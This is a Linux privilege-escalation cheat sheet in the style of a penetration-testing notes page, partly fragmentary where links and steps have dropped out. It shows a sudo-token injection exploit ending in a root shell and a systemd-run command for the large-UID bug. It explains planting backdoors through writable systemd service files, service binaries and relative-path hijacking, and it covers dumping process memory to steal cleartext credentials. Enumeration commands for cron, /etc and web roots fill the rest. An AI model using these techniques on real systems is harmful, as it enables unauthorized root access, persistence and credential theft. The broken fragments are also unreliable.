This technique is for kernels up to 3.9.6 and is not reliable for later versions of Linux kernel.
Tools that could help searching for kernel exploits are:
Big UID
systemd-run -t /bin/bash
sudo_inject
this has requirements, doesn't work all the time.
clone the repository and run the script:
requirements:
$ sudo whatever
[sudo] password for user: # Press+c since you don't have the password.
# This creates an invalid sudo tokens.
$ sh exploit.sh .... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
environmental variables
cat /etc/profile
cat /home/*/.bashrc | grep alias | grep -v "#"
cat /root/.bashrc | grep alias | grep -v "#"
cat ~/.bash_profile
cat ~/.bashrc cat ~/.bash_logout
env
set
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
ps aux | awk '{print $11}' |xargs -r ls -la 2>/dev/null |awk '!x[$0]++'
find new running processes
#!/bin/bash #Loop by line IFS=$'\n' old_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0) while true; do new_process=$(ps aux --forest | grep -v "ps aux --forest" | grep -v "sleep 1" | grep -v $0) diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>] sleep 1 old_process=$new_process
check services and privileges
ps aux ps -ef ps aux | grep "^root" top cat /etc/services
Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root ps -ef | grep root
What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/ dpkg -l | grep rpm -qa | grep
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/
scheduled Tasks
ls -lah /etc/cron*
cat /etc/crontab crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
process monitoring
Process memory
Process Memory Credentials
/proc/$pid/maps & /proc/$pid/mem
For a given process ID, maps shows how memory is mapped within that processes' virtual address space; it also shows the permissions of each mapped region. The mem pseudo file exposes the processes memory itself. From the maps file we know which memory regions are readable and their offsets. We use this information to seek into the mem file and dump all readable regions to a file.
/dev/mem provides access to the system's physical memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem. Typically, /dev/mem is only readable by root and kmem group.
Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
ls -alh /var/log ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
Services
Writable .service files
Check if you can write any .service file, if you can, you could modify it so it executes your backdoor when the service is started, restarted or stopped (maybe you will need to wait until the machine is rebooted). For example create your backdoor inside the .service file with ExecStart=/tmp/script.sh
Writable service binaries
Keep in mid that if you have write permissions over binaries being executed by services, you can change them for backdoors so when the services get re-executed the backdoors will be executed.
systemd PATH - Relative Paths
You can see the PATH used by systemd with:
systemctl show-environment
If you find that you can write in any of the folders of the path you may be able to escalate privileges.You need to search for relative paths being used on service configurations
Then, create a executable with the same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (Start, Stop, Reload), your backdoor will be executed (unprivileged users usually cannot start/stop services but check if you can using sudo -l).
files and directories
find all SUID/SGID binaries
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
use an obtained authorized_keys file on a host system. Needed : SSH-DSS String from authorized_keys file 1. Get the authorized_keys file. An example of this file would look like so:
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
Some Linux versions were affected by a bug that allow users with UID > INT_MAX to escalate privileges. More info: , and . Exploit it using:
for more methods related to sudo refer to section.
see for methods
see for methods
can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.
Some services of a server save credentials in clear text inside the memory. Normally you will need root privileges to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials. However, remember that as a regular user you can read the memory of the processes you own. To dump a process memory you could use: You can manually remove root requirements and dump process owned by you Script A.5 from (root is required) ****
will steal clear text credentials from memory and from some well known files. It requires root privileges to work properly.
check section to see methods.
see to see how you can use these files with read/write permission for privilege escalation.
see for methods related to SUID binaries and dynamically loadable libraries.
